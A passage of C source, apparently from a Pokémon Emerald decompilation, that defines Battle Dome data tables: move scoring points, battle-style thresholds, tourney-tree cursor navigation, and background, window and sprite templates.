[MOVE_POINTS_ACCURATE] = 1}, [MOVE_AROMATHERAPY] = {[MOVE_POINTS_LOW_PP] = 1}, [MOVE_FAKE_TEARS] = {[MOVE_POINTS_ACCURATE] = 1}, [MOVE_AIR_CUTTER] = {[MOVE_POINTS_DMG] = 1}, [MOVE_OVERHEAT] = {[MOVE_POINTS_POWERFUL] = 1, [MOVE_POINTS_STRONG] = 1, [MOVE_POINTS_LOW_PP] = 1, [MOVE_POINTS_EFFECT] = 1}, [MOVE_ODOR_SLEUTH] = {[MOVE_POINTS_ACCURATE] = 1}, [MOVE_ROCK_TOMB] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_EFFECT] = 1}, [MOVE_SILVER_WIND] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_ACCURATE] = 1, [MOVE_POINTS_LOW_PP] = 1, [MOVE_POINTS_EFFECT] = 1}, [MOVE_METAL_SOUND] = {0}, [MOVE_GRASS_WHISTLE] = {0}, [MOVE_TICKLE] = {[MOVE_POINTS_ACCURATE] = 1}, [MOVE_COSMIC_POWER] = {0}, [MOVE_WATER_SPOUT] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_ACCURATE] = 1, [MOVE_POINTS_POWERFUL] = 1, [MOVE_POINTS_STRONG] = 1, [MOVE_POINTS_LOW_PP] = 1}, [MOVE_SIGNAL_BEAM] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_ACCURATE] = 1, [MOVE_POINTS_EFFECT] = 1}, [MOVE_SHADOW_PUNCH] = {[MOVE_POINTS_DMG] = 1}, [MOVE_EXTRASENSORY] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_ACCURATE] = 1, [MOVE_POINTS_EFFECT] = 1}, [MOVE_SKY_UPPERCUT] = {[MOVE_POINTS_DMG] = 1}, [MOVE_SAND_TOMB] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_EFFECT] = 1}, [MOVE_SHEER_COLD] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_LUCK] = 1, [MOVE_POINTS_LOW_PP] = 1}, [MOVE_MUDDY_WATER] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_STRONG] = 1, [MOVE_POINTS_EFFECT] = 1}, [MOVE_BULLET_SEED] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_ACCURATE] = 1}, [MOVE_AERIAL_ACE] = {[MOVE_POINTS_DMG] = 1}, [MOVE_ICICLE_SPEAR] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_ACCURATE] = 1}, [MOVE_IRON_DEFENSE] = {[MOVE_POINTS_DEF] = 1}, [MOVE_BLOCK] = {[MOVE_POINTS_ACCURATE] = 1, [MOVE_POINTS_LOW_PP] = 1}, [MOVE_HOWL] = {0}, [MOVE_DRAGON_CLAW] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_ACCURATE] = 1}, [MOVE_FRENZY_PLANT] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_POWERFUL] = 1, [MOVE_POINTS_STRONG] = 1, [MOVE_POINTS_LOW_PP] = 1}, [MOVE_BULK_UP] = {[MOVE_POINTS_COMBO] = 1}, [MOVE_BOUNCE] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_LOW_PP] = 1, [MOVE_POINTS_EFFECT] = 1}, [MOVE_MUD_SHOT] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_EFFECT] = 1}, [MOVE_POISON_TAIL] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_ACCURATE] = 1, [MOVE_POINTS_EFFECT] = 1}, [MOVE_COVET] = {[MOVE_POINTS_ACCURATE] = 1, [MOVE_POINTS_EFFECT] = 1}, [MOVE_VOLT_TACKLE] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_ACCURATE] = 1, [MOVE_POINTS_POWERFUL] = 1, [MOVE_POINTS_STRONG] = 1}, [MOVE_MAGICAL_LEAF] = {[MOVE_POINTS_DMG] = 1}, [MOVE_WATER_SPORT] = {[MOVE_POINTS_ACCURATE] = 1}, [MOVE_CALM_MIND] = {[MOVE_POINTS_COMBO] = 1, [MOVE_POINTS_STAT_RAISE] = 1}, [MOVE_LEAF_BLADE] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_ACCURATE] = 1}, [MOVE_DRAGON_DANCE] = {[MOVE_POINTS_COMBO] = 1, [MOVE_POINTS_STAT_RAISE] = 1}, [MOVE_ROCK_BLAST] = {[MOVE_POINTS_DMG] = 1}, [MOVE_SHOCK_WAVE] = {[MOVE_POINTS_DMG] = 1}, [MOVE_WATER_PULSE] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_ACCURATE] = 1, [MOVE_POINTS_EFFECT] = 1}, [MOVE_DOOM_DESIRE] = {[MOVE_POINTS_RARE] = 1, [MOVE_POINTS_DMG] = 1, [MOVE_POINTS_POWERFUL] = 1, [MOVE_POINTS_STRONG] = 1, [MOVE_POINTS_LOW_PP] = 1}, [MOVE_PSYCHO_BOOST] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_POWERFUL] = 1, [MOVE_POINTS_STRONG] = 1, [MOVE_POINTS_LOW_PP] = 1, [MOVE_POINTS_EFFECT] = 1}, [MOVE_DARK_PULSE] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_ACCURATE] = 1, [MOVE_POINTS_STRONG] = 1, [MOVE_POINTS_EFFECT] = 1}, [MOVE_PSYCHO_CUT] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_ACCURATE] = 1}, [MOVE_FOCUS_BLAST] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_ACCURATE] = 1, [MOVE_POINTS_STRONG] = 1,}, [MOVE_POWER_GEM] = {[MOVE_POINTS_RARE] = 1, [MOVE_POINTS_DMG] = 1, [MOVE_POINTS_ACCURATE] = 1}, [MOVE_SHADOW_CLAW] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_ACCURATE] = 1}, [MOVE_FLASH_CANNON] = {[MOVE_POINTS_RARE] = 1, [MOVE_POINTS_DMG] = 1, [MOVE_POINTS_POWERFUL] = 1, [MOVE_POINTS_STRONG] = 1}, [MOVE_AIR_SLASH] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_POWERFUL] = 1, [MOVE_POINTS_ACCURATE] = 1}, [MOVE_BUG_BUZZ] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_ACCURATE] = 1}, [MOVE_DRAGON_PULSE] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_POWERFUL] = 1, [MOVE_POINTS_ACCURATE] = 1}, [MOVE_EARTH_POWER] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_POWERFUL] = 1, [MOVE_POINTS_STRONG] = 1}, [MOVE_PLAY_ROUGH] = {[MOVE_POINTS_ACCURATE] = 1}, [MOVE_MOONBLAST] = {[MOVE_POINTS_RARE] = 1, [MOVE_POINTS_ACCURATE] = 1, [MOVE_POINTS_LUCK] = 1}, [MOVE_POISON_JAB] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_EFFECT] = 1}, }; // This array is searched in-order to determine what battle style a tourney trainer uses. // If the sum of the points for the party's moves meets/exceeds all the point totals of an element, then they use that battle style static const u8 sBattleStyleThresholds[NUM_BATTLE_STYLES - 1][NUM_MOVE_POINT_TYPES] = { [DOME_BATTLE_STYLE_RISKY] = {[MOVE_POINTS_RISKY] = 1}, [DOME_BATTLE_STYLE_STALL] = {[MOVE_POINTS_HEAL] = 2, [MOVE_POINTS_STATUS] = 1, [MOVE_POINTS_DEF] = 2}, [DOME_BATTLE_STYLE_VARIED] = {[MOVE_POINTS_COMBO] = 1, [MOVE_POINTS_STAT_RAISE] = 1, [MOVE_POINTS_STAT_LOWER] = 1, [MOVE_POINTS_HEAL] = 1, [MOVE_POINTS_STATUS] = 1, [MOVE_POINTS_DEF] = 1}, [DOME_BATTLE_STYLE_COMBO_HIGH] = {[MOVE_POINTS_COMBO] = 3}, [DOME_BATTLE_STYLE_RARE_MOVES] = {[MOVE_POINTS_RARE] = 2}, [DOME_BATTLE_STYLE_RARE_MOVE] = {[MOVE_POINTS_RARE] = 1}, [DOME_BATTLE_STYLE_HP] = {[MOVE_POINTS_HEAL] = 3}, [DOME_BATTLE_STYLE_STORE_POWER] = {[MOVE_POINTS_STAT_RAISE] = 1, [MOVE_POINTS_HEAL] = 1}, [DOME_BATTLE_STYLE_ENFEEBLE_LOW] = {[MOVE_POINTS_STAT_LOWER] = 1, [MOVE_POINTS_STATUS] = 1}, [DOME_BATTLE_STYLE_LUCK] = {[MOVE_POINTS_LUCK] = 2}, [DOME_BATTLE_STYLE_REGAL] = {[MOVE_POINTS_STAT_RAISE] = 1, [MOVE_POINTS_HEAL] = 1, [MOVE_POINTS_DEF] = 1, [MOVE_POINTS_POPULAR] = 1, [MOVE_POINTS_STRONG] = 1}, [DOME_BATTLE_STYLE_LOW_PP] = {[MOVE_POINTS_LOW_PP] = 3}, [DOME_BATTLE_STYLE_STATUS_ATK] = {[MOVE_POINTS_STAT_RAISE] = 1, [MOVE_POINTS_STATUS] = 1}, [DOME_BATTLE_STYLE_ENDURE] = {[MOVE_POINTS_HEAL] = 2, [MOVE_POINTS_DEF] = 2}, [DOME_BATTLE_STYLE_STATUS] = {[MOVE_POINTS_STATUS] = 2}, [DOME_BATTLE_STYLE_STRAIGHTFORWARD] = {[MOVE_POINTS_ACCURATE] = 3, [MOVE_POINTS_STRONG] = 3}, [DOME_BATTLE_STYLE_AGGRESSIVE] = {[MOVE_POINTS_STRONG] = 4}, [DOME_BATTLE_STYLE_DEF] = {[MOVE_POINTS_DEF] = 3}, [DOME_BATTLE_STYLE_ENFEEBLE_HIGH] = {[MOVE_POINTS_STAT_LOWER] = 2, [MOVE_POINTS_STATUS] = 2}, // BUG: This battle style is unobtainable; DOME_BATTLE_STYLE_ENFEEBLE_LOW will always succeed before it [DOME_BATTLE_STYLE_POPULAR_POWER] = {[MOVE_POINTS_POWERFUL] = 3, [MOVE_POINTS_POPULAR] = 3}, [DOME_BATTLE_STYLE_COMBO_LOW] = {[MOVE_POINTS_COMBO] = 2}, [DOME_BATTLE_STYLE_ACCURATE] = {[MOVE_POINTS_HEAL] = 1, [MOVE_POINTS_ACCURATE] = 3}, [DOME_BATTLE_STYLE_POWERFUL] = {[MOVE_POINTS_POWERFUL] = 4}, [DOME_BATTLE_STYLE_ATK_OVER_DEF] = {[MOVE_POINTS_DMG] = 7}, [DOME_BATTLE_STYLE_DEF_OVER_ATK] = {[MOVE_POINTS_DEF] = 4}, // BUG: This battle style is unobtainable; DOME_BATTLE_STYLE_DEF will always succeed before it [DOME_BATTLE_STYLE_POPULAR_STRONG] = {[MOVE_POINTS_POPULAR] = 2, [MOVE_POINTS_STRONG] = 4}, [DOME_BATTLE_STYLE_EFFECTS] = {[MOVE_POINTS_EFFECT] = 4}, [DOME_BATTLE_STYLE_BALANCED] = {0}, // If no other thresholds are met, this battle style is used [DOME_BATTLE_STYLE_UNUSED1] = {0}, // Here below is unreachable [DOME_BATTLE_STYLE_UNUSED2] = {0}, [DOME_BATTLE_STYLE_UNUSED3] = {0}, //[DOME_BATTLE_STYLE_UNUSED4] = {0}, // Excluded here, presumably was meant to be a style just for Dome Ace Tucker }; static const u8 sUnusedArray[] = { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 3, 0, 0, 0, 0, 0, 3, 0, 0, 0, 0, 0, 3, 0, 0, 0, 0, 0, 3, 0, 0, 0, 0, 0, 3, 2, 0, 0, 0, 0, 0, 2, 0, 0, 0, 0, 0, 2, 0, 0, 0, 0, 0, 2, 0, 0, 0, 0, 0, 2, 253, 0, 0, 0, 0, 0, 253, 0, 0, 0, 0, 0, 253, 0, 0, 0, 0, 0, 253, 0, 0, 0, 0, 0, 253, 254, 0, 0, 0, 0, 0, 254, 0, 0, 0, 0, 0, 254, 0, 0, 0, 0, 0, 254, 0, 0, 0, 0, 0, 254, 0, 0, 0, 0, 0, }; // 1st array is for cursor position (sprite id): cursor can be on a trainer info button, a match info button, or the exit/cancel button // 2nd array is for round count. For some reason this array contains an inaccessible Round 5 which is identical to Round 4 // 3rd array is movement direction (see the MOVE_DIR_* constants in UpdateTourneyTreeCursor) // The values are sprite IDs for the cursor position to move to, with 0xFF being an invalid move static const u8 sTourneyTreeCursorMovementMap[DOME_TOURNAMENT_TRAINERS_COUNT + DOME_TOURNAMENT_MATCHES_COUNT + 1][DOME_ROUNDS_COUNT + 1][4]= { [0] = {{ 7, 1, 8, 16}, { 7, 1, 8, 16}, { 7, 1, 8, 16}, { 7, 1, 8, 16}, { 7, 1, 8, 16}}, [1] = {{ 0, 2, 9, 16}, { 0, 2, 9, 16}, { 0, 2, 9, 16}, { 0, 2, 9, 16}, { 0, 2, 9, 16}}, [2] = {{ 1, 3, 10, 17}, { 1, 3, 10, 17}, { 1, 3, 10, 17}, { 1, 3, 10, 17}, { 1, 3, 10, 17}}, [3] = {{ 2, 4, 11, 17}, { 2, 4, 11, 17}, { 2, 4, 11, 17}, { 2, 4, 11, 17}, { 2, 4, 11, 17}}, [4] = {{ 3, 5, 12, 18}, { 3, 5, 12, 18}, { 3, 5, 12, 18}, { 3, 5, 12, 18}, { 3, 5, 12, 18}}, [5] = {{ 4, 6, 13, 18}, { 4, 6, 13, 18}, { 4, 6, 13, 18}, { 4, 6, 13, 18}, { 4, 6, 13, 18}}, [6] = {{ 5, 7, 14, 19}, { 5, 7, 14, 19}, { 5, 7, 14, 19}, { 5, 7, 14, 19}, { 5, 7, 14, 19}}, [7] = {{ 6, 0, 15, 19}, { 6, 0, 15, 19}, { 6, 0, 15, 19}, { 6, 0, 15, 19}, { 6, 0, 15, 19}}, [8] = {{ 31, 9, 20, 31}, { 31, 9, 20, 31}, { 31, 9, 20, 31}, { 31, 9, 20, 31}, { 31, 9, 20, 31}}, [9] = {{ 8, 10, 20, 1}, { 8, 10, 20, 1}, { 8, 10, 20, 1}, { 8, 10, 20, 1}, { 8, 10, 20, 1}}, [10] = {{ 9, 11, 21, 2}, { 9, 11, 21, 2}, { 9, 11, 21, 2}, { 9, 11, 21, 2}, { 9, 11, 21, 2}}, [11] = {{ 10, 12, 21, 3}, { 10, 12, 21, 3}, { 10, 12, 21, 3}, { 10, 12, 21, 3}, { 10, 12, 21, 3}}, [12] = {{ 11, 13, 22, 4}, { 11, 13, 22, 4}, { 11, 13, 22, 4}, { 11, 13, 22, 4}, { 11, 13, 22, 4}}, [13] = {{ 12, 14, 22, 5}, { 12, 14, 22, 5}, { 12, 14, 22, 5}, { 12, 14, 22, 5}, { 12, 14, 22, 5}}, [14] = {{ 13, 15, 23, 6}, { 13, 15, 23, 6}, { 13, 15, 23, 6}, { 13, 15, 23, 6}, { 13, 15, 23, 6}}, [15] = {{ 14, 31, 23, 7}, { 14, 31, 23, 7}, { 14, 31, 23, 7}, { 14, 31, 23, 7}, { 14, 31, 23, 7}}, [16] = {{ 19, 17, 0, 20}, { 19, 17, 0, 24}, { 19, 17, 0, 24}, { 19, 17, 0, 24}, { 19, 17, 0, 24}}, [17] = {{ 16, 18, 2, 21}, { 16, 18, 2, 24}, { 16, 18, 2, 24}, { 16, 18, 2, 24}, { 16, 18, 2, 24}}, [18] = {{ 17, 19, 4, 22}, { 17, 19, 4, 25}, { 17, 19, 4, 25}, { 17, 19, 4, 25}, { 17, 19, 4, 25}}, [19] = {{ 18, 16, 6, 23}, { 18, 16, 6, 25}, { 18, 16, 6, 25}, { 18, 16, 6, 25}, { 18, 16, 6, 25}}, [20] = {{ 23, 21, 16, 8}, { 23, 21, 26, 8}, { 23, 21, 26, 8}, { 23, 21, 26, 8}, { 23, 21, 26, 8}}, [21] = {{ 20, 22, 17, 10}, { 20, 22, 26, 10}, { 20, 22, 26, 10}, { 20, 22, 26, 10}, { 20, 22, 26, 10}}, [22] = {{ 21, 23, 18, 12}, { 21, 23, 27, 12}, { 21, 23, 27, 12}, { 21, 23, 27, 12}, { 21, 23, 27, 12}}, [23] = {{ 22, 20, 19, 14}, { 22, 20, 27, 14}, { 22, 20, 27, 14}, { 22, 20, 27, 14}, { 22, 20, 27, 14}}, [24] = {{0xFF, 0xFF, 0xFF, 0xFF}, { 25, 25, 16, 26}, { 25, 25, 16, 28}, { 25, 25, 16, 28}, { 25, 25, 16, 28}}, [25] = {{0xFF, 0xFF, 0xFF, 0xFF}, { 24, 24, 18, 27}, { 24, 24, 18, 28}, { 24, 24, 18, 28}, { 24, 24, 18, 28}}, [26] = {{0xFF, 0xFF, 0xFF, 0xFF}, { 27, 27, 24, 20}, { 27, 27, 29, 20}, { 27, 27, 29, 20}, { 27, 27, 29, 20}}, [27] = {{0xFF, 0xFF, 0xFF, 0xFF}, { 26, 26, 25, 22}, { 26, 26, 29, 22}, { 26, 26, 29, 22}, { 26, 26, 29, 22}}, [28] = {{0xFF, 0xFF, 0xFF, 0xFF}, {0xFF, 0xFF, 0xFF, 0xFF}, {0xFF, 0xFF, 24, 29}, {0xFF, 0xFF, 24, 30}, {0xFF, 0xFF, 24, 30}}, [29] = {{0xFF, 0xFF, 0xFF, 0xFF}, {0xFF, 0xFF, 0xFF, 0xFF}, {0xFF, 0xFF, 28, 26}, {0xFF, 0xFF, 30, 26}, {0xFF, 0xFF, 30, 26}}, [30] = {{0xFF, 0xFF, 0xFF, 0xFF}, {0xFF, 0xFF, 0xFF, 0xFF}, {0xFF, 0xFF, 0xFF, 0xFF}, {0xFF, 0xFF, 28, 29}, {0xFF, 0xFF, 28, 29}}, [31] = {{ 15, 8, 8, 0}, { 15, 8, 8, 0}, { 15, 8, 8, 0}, { 15, 8, 8, 0}, { 15, 8, 8, 0}}, // TOURNEY_TREE_CLOSE_BUTTON }; static const struct BgTemplate sTourneyTreeBgTemplates[4] = { { .bg = 0, .charBaseIndex = 0, .mapBaseIndex = 28, .screenSize = 0, .paletteMode = 0, .priority = 0, .baseTile = 0 }, { .bg = 1, .charBaseIndex = 1, .mapBaseIndex = 29, .screenSize = 0, .paletteMode = 0, .priority = 1, .baseTile = 0 }, { .bg = 2, .charBaseIndex = 2, .mapBaseIndex = 30, .screenSize = 0, .paletteMode = 0, .priority = 2, .baseTile = 0 }, { .bg = 3, .charBaseIndex = 2, .mapBaseIndex = 31, .screenSize = 0, .paletteMode = 0, .priority = 2, .baseTile = 0 }, }; static const struct BgTemplate sInfoCardBgTemplates[4] = { { .bg = 0, .charBaseIndex = 0, .mapBaseIndex = 20, .screenSize = 3, .paletteMode = 0, .priority = 0, .baseTile = 0 }, { .bg = 1, .charBaseIndex = 1, .mapBaseIndex = 24, .screenSize = 3, .paletteMode = 0, .priority = 0, .baseTile = 0 }, { .bg = 2, .charBaseIndex = 2, .mapBaseIndex = 28, .screenSize = 3, .paletteMode = 0, .priority = 1, .baseTile = 0 }, { .bg = 3, .charBaseIndex = 2, .mapBaseIndex = 7, .screenSize = 0, .paletteMode = 0, .priority = 1, .baseTile = 0 }, }; static const struct WindowTemplate sTourneyTreeWindowTemplates[] = { { .bg = 0, .tilemapLeft = 0, .tilemapTop = 3, .width = 8, .height = 16, .paletteNum = 15, .baseBlock = 16, }, { .bg = 0, .tilemapLeft = 22, .tilemapTop = 3, .width = 8, .height = 16, .paletteNum = 15, .baseBlock = 144, }, { .bg = 0, .tilemapLeft = 8, .tilemapTop = 1, .width = 14, .height = 2, .paletteNum = 15, .baseBlock = 272, }, DUMMY_WIN_TEMPLATE, }; static const struct WindowTemplate sInfoCardWindowTemplates[] = { { .bg = 0, .tilemapLeft = 2, .tilemapTop = 2, .width = 26, .height = 2, .paletteNum = 15, .baseBlock = 1, }, { .bg = 0, .tilemapLeft = 16, .tilemapTop = 5, .width = 8, .height = 2, .paletteNum = 15, .baseBlock = 53, }, { .bg = 0, .tilemapLeft = 19, .tilemapTop = 7, .width = 9, .height = 3, .paletteNum = 15, .baseBlock = 69, }, { .bg = 0, .tilemapLeft = 16, .tilemapTop = 10, .width = 8, .height = 2, .paletteNum = 15, .baseBlock = 96, }, { .bg = 0, .tilemapLeft = 2, .tilemapTop = 12, .width = 26, .height = 7, .paletteNum = 15, .baseBlock = 112, }, { .bg = 0, .tilemapLeft = 5, .tilemapTop = 2, .width = 23, .height = 2, .paletteNum = 15, .baseBlock = 294, }, { .bg = 0, .tilemapLeft = 2, .tilemapTop = 5, .width = 8, .height = 2, .paletteNum = 15, .baseBlock = 340, }, { .bg = 0, .tilemapLeft = 20, .tilemapTop = 5, .width = 8, .height = 2, .paletteNum = 15, .baseBlock = 356, }, { .bg = 0, .tilemapLeft = 2, .tilemapTop = 16, .width = 26, .height = 2, .paletteNum = 15, .baseBlock = 372, }, { .bg = 1, .tilemapLeft = 2, .tilemapTop = 2, .width = 26, .height = 2, .paletteNum = 15, .baseBlock = 1, }, { .bg = 1, .tilemapLeft = 16, .tilemapTop = 5, .width = 8, .height = 2, .paletteNum = 15, .baseBlock = 53, }, { .bg = 1, .tilemapLeft = 19, .tilemapTop = 7, .width = 9, .height = 3, .paletteNum = 15, .baseBlock = 69, }, { .bg = 1, .tilemapLeft = 16, .tilemapTop = 10, .width = 8, .height = 2, .paletteNum = 15, .baseBlock = 96, }, { .bg = 1, .tilemapLeft = 2, .tilemapTop = 12, .width = 26, .height = 7, .paletteNum = 15, .baseBlock = 112, }, { .bg = 1, .tilemapLeft = 5, .tilemapTop = 2, .width = 23, .height = 2, .paletteNum = 15, .baseBlock = 294, }, { .bg = 1, .tilemapLeft = 2, .tilemapTop = 5, .width = 8, .height = 2, .paletteNum = 15, .baseBlock = 340, }, { .bg = 1, .tilemapLeft = 20, .tilemapTop = 5, .width = 8, .height = 2, .paletteNum = 15, .baseBlock = 356, }, { .bg = 1, .tilemapLeft = 2, .tilemapTop = 16, .width = 26, .height = 2, .paletteNum = 15, .baseBlock = 372, }, #ifdef UBFIX DUMMY_WIN_TEMPLATE, #endif }; static const struct ScanlineEffectParams sTourneyTreeScanlineEffectParams = { .dmaDest = &REG_BG3CNT, .dmaControl = SCANLINE_EFFECT_DMACNT_16BIT, .initState = 1, }; static const struct CompressedSpriteSheet sTourneyTreeButtonsSpriteSheet[] = { {.data = gDomeTourneyTreeButtons_Gfx, .size = 0x0600, .tag = TAG_BUTTONS}, {}, }; // Unused static const struct CompressedSpritePalette sTourneyTreeButtonsSpritePal[] = { {.data = gDomeTourneyTreeButtons_Pal, .tag = TAG_BUTTONS}, {}, }; static const struct OamData sOamData_TourneyTreePokeball = { .y = 0, .affineMode = ST_OAM_AFFINE_OFF, .objMode = ST_OAM_OBJ_NORMAL, .mosaic = FALSE, .bpp = ST_OAM_4BPP, .shape = SPRITE_SHAPE(16x16), .x = 0, .matrixNum = 0, .size = SPRITE_SIZE(16x16), .tileNum = 0, .priority = 0, .paletteNum = 0, .affineParam = 0, }; // For Exit/Cancel buttons static const struct OamData sOamData_TourneyTreeCloseButton = { .y = 0, .affineMode = ST_OAM_AFFINE_OFF, .objMode = ST_OAM_OBJ_NORMAL, .mosaic = FALSE, .bpp = ST_OAM_4BPP, .shape = SPRITE_SHAPE(32x16), .x = 0, .matrixNum = 0, .size = SPRITE_SIZE(32x16), .tileNum = 0, .priority = 0, .paletteNum = 1, .affineParam = 0, }; static const struct OamData sOamData_VerticalScrollArrow = { .y = 0, .affineMode = ST_OAM_AFFINE_OFF, .objMode = ST_OAM_OBJ_NORMAL, .mosaic = FALSE, .bpp = ST_OAM_4BPP, .shape = SPRITE_SHAPE(16x8), .x = 0, .matrixNum = 0, .size = SPRITE_SIZE(16x8), .tileNum = 0, .priority = 0, .paletteNum = 2, .affineParam = 0, }; static const struct OamData sOamData_HorizontalScrollArrow = { .y = 0, .affineMode = ST_OAM_AFFINE_OFF, .objMode = ST_OAM_OBJ_NORMAL, .mosaic = FALSE, .bpp = ST_OAM_4BPP, .shape = SPRITE_SHAPE(8x16), .x = 0, .matrixNum = 0, .size = SPRITE_SIZE(8x16), .tileNum = 0, .priority = 0, .paletteNum = 2, .affineParam = 0, }; static const union AnimCmd sSpriteAnim_TourneyTreePokeballNormal[] = { ANIMCMD_FRAME(20, 1), ANIMCMD_END, }; static const union AnimCmd sSpriteAnim_TourneyTreePokeballSelected[] = { ANIMCMD_FRAME(24, 1), ANIMCMD_END, }; static const union AnimCmd * const sSpriteAnimTable_TourneyTreePokeball[] = { sSpriteAnim_TourneyTreePokeballNormal, sSpriteAnim_TourneyTreePokeballSelected, }; // Sprite template for the pokeballs on the tourney tree that act as buttons to view a trainer/match info card static const struct SpriteTemplate sTourneyTreePokeballSpriteTemplate = { .tileTag = TAG_BUTTONS, .paletteTag = TAG_NONE, .oam = &sOamData_TourneyTreePokeball, .anims = sSpriteAnimTable_TourneyTreePokeball, .images = NULL, .affineAnims = gDummySpriteAffineAnimTable, .callback = SpriteCallbackDummy }; static const union AnimCmd sSpriteAnim_TourneyTreeCancelButtonNormal[] = { ANIMCMD_FRAME(8, 1), ANIMCMD_END, }; static const union AnimCmd sSpriteAnim_TourneyTreeCancelButtonSelected[] = { ANIMCMD_FRAME(0, 1), ANIMCMD_END, }; static const union AnimCmd * const sSpriteAnimTable_TourneyTreeCancelButton[] = { sSpriteAnim_TourneyTreeCancelButtonNormal, sSpriteAnim_TourneyTreeCancelButtonSelected, }; static const struct SpriteTemplate sCancelButtonSpriteTemplate = { .tileTag = TAG_BUTTONS, .paletteTag = TAG_NONE, .oam = &sOamData_TourneyTreeCloseButton, .anims = sSpriteAnimTable_TourneyTreeCancelButton, .images = NULL, .affineAnims = gDummySpriteAffineAnimTable, .callback = SpriteCallbackDummy }; static const union AnimCmd sSpriteAnim_TourneyTreeExitButtonNormal[] = { ANIMCMD_FRAME(40, 1), ANIMCMD_END, }; static const union AnimCmd sSpriteAnim_TourneyTreeExitButtonSelected[] = { ANIMCMD_FRAME(32, 1), ANIMCMD_END, }; static const union AnimCmd * const sSpriteAnimTable_TourneyTreeExitButton[] = { sSpriteAnim_TourneyTreeExitButtonNormal, sSpriteAnim_TourneyTreeExitButtonSelected, }; static const struct SpriteTemplate sExitButtonSpriteTemplate = { .tileTag = TAG_BUTTONS, .paletteTag = TAG_NONE, .oam = &sOamData_TourneyTreeCloseButton, .anims = sSpriteAnimTable_TourneyTreeExitButton, .images = NULL, .affineAnims = gDummySpriteAffineAnimTable, .callback = SpriteCallbackDummy }; static const union AnimCmd sSpriteAnim_UpArrow[] = { ANIMCMD_FRAME(18, 1), ANIMCMD_END, }; static const union AnimCmd sSpriteAnim_DownArrow[] = { ANIMCMD_FRAME(18, 1, .vFlip = TRUE), ANIMCMD_END, }; static const union AnimCmd sSpriteAnim_LeftArrow[] = { ANIMCMD_FRAME(16, 1, .hFlip = TRUE), ANIMCMD_END, }; static const union AnimCmd sSpriteAnim_RightArrow[] = { ANIMCMD_FRAME(16, 1), ANIMCMD_END, }; static const union AnimCmd * const sSpriteAnimTable_VerticalScrollArrow[] = { sSpriteAnim_UpArrow, sSpriteAnim_DownArrow, }; static const union AnimCmd * const sSpriteAnimTable_HorizontalScrollArrow[] = { sSpriteAnim_LeftArrow, sSpriteAnim_RightArrow, }; static const struct SpriteTemplate sHorizontalScrollArrowSpriteTemplate = { .tileTag = TAG_BUTTONS, .paletteTag = TAG_NONE, .oam = &sOamData_HorizontalScrollArrow, .anims = sSpriteAnimTable_HorizontalScrollArrow, .images = NULL, .affineAnims = gDummySpriteAffineAnimTable, .callback = SpriteCB_HorizontalScrollArrow }; static const struct SpriteTemplate sVerticalScrollArrowSpriteTemplate = { .tileTag = TAG_BUTTONS, .paletteTag = TAG_NONE, .oam = &sOamData_VerticalScrollArrow, .anims = sSpriteAnimTable_VerticalScrollArrow, .images = NULL, .affineAnims = gDummySpriteAffineAnimTable, .callback = SpriteCB_VerticalScrollArrow }; // Organized by seed starting position, i.e. seed 0 battles seed 8 first static const u8 sTourneyTreeTrainerIds[DOME_TOURNAMENT_TRAINERS_COUNT] = {0, 8, 12, 4, 7, 15, 11, 3, 2, 10, 14, 6, 5, 13, 9, 1}; static void (* const sBattleDomeFunctions[])(void) = { [BATTLE_DOME_FUNC_INIT] = InitDomeChallenge, [BATTLE_DOME_FUNC_GET_DATA] = GetDomeData, [BATTLE_DOME_FUNC_SET_DATA] = SetDomeData, [BATTLE_DOME_FUNC_GET_ROUND_TEXT] = BufferDomeRoundText, [BATTLE_DOME_FUNC_GET_OPPONENT_NAME] = BufferDomeOpponentName, [BATTLE_DOME_FUNC_INIT_OPPONENT_PARTY] = InitDomeOpponentParty, [BATTLE_DOME_FUNC_SHOW_OPPONENT_INFO] = ShowDomeOpponentInfo, [BATTLE_DOME_FUNC_SHOW_TOURNEY_TREE] = ShowDomeTourneyTree, [BATTLE_DOME_FUNC_SHOW_PREV_TOURNEY_TREE] = ShowPreviousDomeTourneyTree, [BATTLE_DOME_FUNC_SET_OPPONENT_ID] = SetDomeOpponentId, [BATTLE_DOME_FUNC_SET_OPPONENT_GFX] = SetDomeOpponentGraphicsId, [BATTLE_DOME_FUNC_SHOW_STATIC_TOURNEY_TREE] = ShowNonInteractiveDomeTourneyTree, [BATTLE_DOME_FUNC_RESOLVE_WINNERS] = ResolveDomeRoundWinners, [BATTLE_DOME_FUNC_SAVE] = SaveDomeChallenge, [BATTLE_DOME_FUNC_INCREMENT_STREAK] = IncrementDomeStreaks, [BATTLE_DOME_FUNC_SET_TRAINERS] = SetFacilityTrainerAndMonPtrs, [BATTLE_DOME_FUNC_RESET_SKETCH] = ResetSketchedMoves, [BATTLE_DOME_FUNC_RESTORE_HELD_ITEMS] = RestoreDomePlayerPartyHeldItems, 